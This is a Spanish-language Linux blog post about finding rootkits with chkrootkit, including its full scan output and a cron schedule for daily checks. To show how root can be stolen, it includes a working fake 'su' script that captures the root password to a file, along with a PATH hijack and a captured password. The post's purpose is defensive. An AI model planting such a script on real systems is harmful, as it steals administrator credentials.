Páginas

domingo, 2 de mayo de 2010

Buscar rootkits

Chkrootkit

rootkit es una herramienta, o un grupo de ellas que tiene como finalidad esconderse a sí misma y esconder otros programas, procesos, archivos, directorios, y puertos que permiten al intruso mantener el acceso a un sistema, para remotamente comandar acciones o extraer información sensible, a menudo con fines maliciosos o destructivos.

Buscar rootkits
Después de que un pirata informático no autorizado haya conseguido penetrar en una máquina, por una contraseña muy sencilla o por un fallo, con toda seguridad intentará instalar una puerta trasera o backdoor, con la finalidad de utilizar su máquina con dudosos propositos, llevarse o almacenar datos.

Acaparar los derechos de root no implica necesariamente teclear directamente en esta cuenta. Lo habitual es conectarse como usuario normal y pasar a root utilizando su. Un servicio ftp mal configurado puede hacer posible la conexión y desplegando a continuación un script llamado su, modifica el PATH por defecto poniendo así la ruta del script, lo demás será muy fácil.

gentoo ~$ pwd
/home/gentoo

gentoo ~$ vim su
#!/bin/bash
echo -e "Contraseña :\c"
read -s password
echo "$@ $password" > /home/gentoo/file
echo
echo "su: Password incorrecto."
/bin/su $@
## Fin del archivo####

gentoo ~$ chmod +x su
gentoo ~$ export PATH=$HOME
gentoo ~$ su - root
Contraseña: (falso su)
su: Password incorrecto. (falso su)
Contraseña: (su verdadero)

La contraseña de root esta en el fichero file1
gentoo ~$ cat file1
 rino4Zrcat

su solo pide la contraseña una vez, el engaño salta a la vista.

La herramienta chkrootkit es una sencilla herraminta que permite buscar la presencia de los más conocidos y habituales rootkits. Su eficacia depende de mantenerla actualizada y ejecutarla con regularidad.

xena@gentoo # chkrootkit
xena tmp # cat rootkit
ROOTDIR is `/'
Checking `amd'... not found
Checking `basename'... not infected
Checking `biff'... not found
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `crontab'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
Checking `echo'... not infected
Checking `egrep'... not infected
Checking `env'... not infected
Checking `find'... not infected
Checking `fingerd'... not infected
Checking `gpm'... not infected
Checking `grep'... not infected
Checking `hdparm'... not infected
Checking `su'... not infected
Checking `ifconfig'... not infected
Checking `inetd'... not tested
Checking `inetdconf'... not found
Checking `identd'... not found
Checking `init'... not infected
Checking `killall'... not infected
Checking `ldsopreload'... not infected
Checking `login'... not infected
Checking `ls'... not infected
Checking `lsof'... not infected
Checking `mail'... not found
Checking `mingetty'... not found
Checking `netstat'... not infected
Checking `named'... not found
Checking `passwd'... not infected
Checking `pidof'... not infected
Checking `pop2'... not found
Checking `pop3'... not found
Checking `ps'... not infected
Checking `pstree'... not infected
Checking `rpcinfo'... not infected
Checking `rlogind'... not found
Checking `rshd'... not found
Checking `slogin'... not infected
Checking `sendmail'... not infected
Checking `sshd'... not infected
Checking `syslogd'... not tested
Checking `tar'... not infected
Checking `tcpd'... not infected
Checking `tcpdump'... not infected
Checking `top'... not infected
Checking `telnetd'... not found
Checking `timed'... not found
Checking `traceroute'... not infected
Checking `vdir'... not infected
Checking `w'... not infected
Checking `write'... not infected
Checking `aliens'... no suspect files
Searching for sniffer's logs, it may take a while... nothing found
Searching for HiDrootkit's default dir... nothing found
Searching for t0rn's default files and dirs... nothing found
Searching for t0rn's v8 defaults... nothing found
Searching for Lion Worm default files and dirs... nothing found
Searching for RSHA's default files and dir... nothing found
Searching for RH-Sharpe's default files... nothing found
Searching for Ambient's rootkit (ark) default files and dirs... nothing found
Searching for suspicious files and dirs, it may take a while... nothing found
Searching for LPD Worm files and dirs... nothing found
Searching for Ramen Worm files and dirs... nothing found
Searching for Maniac files and dirs... nothing found
Searching for RK17 files and dirs... nothing found
Searching for Ducoci rootkit... nothing found
Searching for Adore Worm... nothing found
Searching for ShitC Worm... nothing found
Searching for Omega Worm... nothing found
Searching for Sadmind/IIS Worm... nothing found
Searching for MonKit... nothing found
Searching for Showtee... nothing found
Searching for OpticKit... nothing found
Searching for T.R.K... nothing found
Searching for Mithra... nothing found
Searching for LOC rootkit... nothing found
Searching for Romanian rootkit... nothing found
Searching for Suckit rootkit... nothing found
Searching for Volc rootkit... nothing found
Searching for Gold2 rootkit... nothing found
Searching for TC2 Worm default files and dirs... nothing found
Searching for Anonoying rootkit default files and dirs... nothing found
Searching for ZK rootkit default files and dirs... nothing found
Searching for ShKit rootkit default files and dirs... nothing found
Searching for AjaKit rootkit default files and dirs... nothing found
Searching for zaRwT rootkit default files and dirs... nothing found
Searching for Madalin rootkit default files... nothing found
Searching for Fu rootkit default files... nothing found
Searching for ESRK rootkit default files... nothing found
Searching for rootedoor... nothing found
Searching for ENYELKM rootkit default files... nothing found
Searching for common ssh-scanners default files... nothing found
Searching for suspect PHP files... nothing found
Searching for anomalies in shell history files... nothing found
Checking `asp'... not infected
Checking `bindshell'... not infected
Checking `lkm'... chkproc: nothing detected
chkdirs: nothing detected
Checking `rexedcs'... not found
Checking `sniffer'... wlan0: PF_PACKET(/usr/sbin/wpa_supplicant)
Checking `w55808'... not infected
Checking `wted'... chkwtmp: nothing deleted
Checking `scalper'... not infected
Checking `slapper'... not infected
Checking `z2'... chklastlog: nothing deleted
Checking `chkutmp'...  The tty of the following user process(es) were not found
 in /var/run/utmp !
! RUID          PID TTY    CMD
! gentoo      15905 tty5   /usr/bin/X -nolisten tcp
chkutmp: nothing deleted

Automatizar utilizando cron.

Se ejutará cada día a las 3:00 am y enviará por emal el resultado.
Cree un fichero rootkit_cron en /etc/cron.d con la siguiente línea:

0  3  *  *  *    /usr/sbin/chkrootkit  |  mail  usuario@servidor -s "Resultado busqueda rootkit de fecha $(date)" 

Si prefiere enviarlo a un fichero:
0  3  *  *  *  /usr/sbin/chkrootkit  >  /tmp/rootkit

Alerta! en su distro la ruta a chkrootkit puede ser diferente.

Activar :
# crontab rootkit_cron

Listar las crontabs activas del usuario root:
# crontab -u root -l
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (rootkit_cron installed on Sun May  2 17:39:17 2010)
# (Cron version V5.0 -- $Id: crontab.c,v 1.12 2004/01/23 18:56:42 vixie Exp $)
0  3  *  *  *  /usr/sbin/chkrootkit > /tmp/rootkit

Linux es genial.

No hay comentarios:

Publicar un comentario